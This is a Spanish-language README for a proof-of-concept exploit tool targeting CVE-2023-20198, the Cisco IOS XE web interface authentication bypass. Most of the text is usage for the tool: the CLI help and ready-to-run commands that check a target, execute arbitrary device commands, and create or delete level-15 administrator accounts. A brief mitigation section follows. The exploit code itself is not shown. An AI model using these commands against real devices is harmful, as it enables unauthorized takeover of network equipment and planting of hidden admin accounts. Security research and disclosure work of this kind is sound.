
Exploit de prueba de concepto para CVE-2023-20198, una vulnerabilidad de omisión de autenticación que afecta a la interfaz web de Cisco IOS XE.
Este repositorio contiene un exploit de prueba de concepto para CVE-2023-20198, una vulnerabilidad de bypass de autenticación que afecta a la interfaz web de Cisco IOS XE.
La vulnerabilidad permite a atacantes no autenticados ejecutar comandos arbitrarios en dispositivos Cisco vulnerables mediante solicitudes SOAP manipuladas, lo que puede llevar al compromiso total del dispositivo, incluyendo la ejecución remota de comandos y la creación/eliminación de usuarios administrativos.
CVE: CVE-2023-20198
Producto Afectado: Cisco IOS XE (Interfaz Web / Interfaz WSMA)
Impacto:
Vector de Ataque: Red (HTTP/HTTPS)
Privilegios Requeridos: Ninguno (no autenticado)
Esta vulnerabilidad se debe a un manejo incorrecto de la autenticación en el endpoint del Agente de Gestión de Servicios Web (WSMA), lo que permite a los atacantes evadir la autenticación mediante solicitudes HTTP manipuladas.
requestscoloramaInstalar dependencias:
pip install -r requirements.txt
usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]
Authentication Bypass Exploit for Cisco IOS XE Devices (CVE-2023-20198)
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target Cisco IOS XE Device
-c, --check Check if the Target is vulnerable to CVE-2023-20198
-C CMD, --cmd CMD Cisco IOS XE Command to Execute
-a, --add Add New Username and Password
-d, --delete Delete existing User
-u USERNAME, --username USERNAME
Username for Account Creation
-p PASSWORD, --password PASSWORD
Password for Account Creation (Random Password Generated if not Provided)

Comprueba si el objetivo es vulnerable:
python3 exploit.py -t https://<TARGET-IP> -c

Si es vulnerable, la herramienta detectará automáticamente el endpoint WSMA explotable y mostrará los detalles del dispositivo.
Ejecuta comandos en el dispositivo vulnerable:
python3 exploit.py -t https://<TARGET-IP> -C "<COMMAND>"
Ejemplo:
python3 exploit.py -t https://<TARGET-IP> -C "show running | include username"

Crea un nuevo usuario administrador con privilegios de nivel 15:
python3 exploit.py -t https://<TARGET-IP> -a -u cisco -p kaptaan

Si no se proporciona una contraseña, el script genera una contraseña segura aleatoria automáticamente.
Con la cuenta recién creada, puedes acceder a la interfaz web del dispositivo

Elimina un usuario existente:
python3 exploit.py -t https://<TARGET-IP> -d -u cisco

Actualice Cisco IOS XE a la última versión parcheada
Deshabilite la interfaz web si no es necesaria:
no ip http server
no ip http secure-server
Restrinja el acceso de administración mediante ACLs
| Opción | Descripción |
|---|
-t, --target | Dispositivo Cisco IOS XE objetivo (Requerido) |
-c, --check | Comprobar si el objetivo es vulnerable |
-C, --cmd | Ejecutar un comando de Cisco IOS XE |
-a, --add | Añadir un nuevo usuario administrativo |
-d, --delete | Eliminar un usuario existente |
-u, --username | Nombre de usuario para creación/eliminación de cuenta |
-p, --password | Contraseña para la nueva cuenta (aleatoria si no se proporciona) |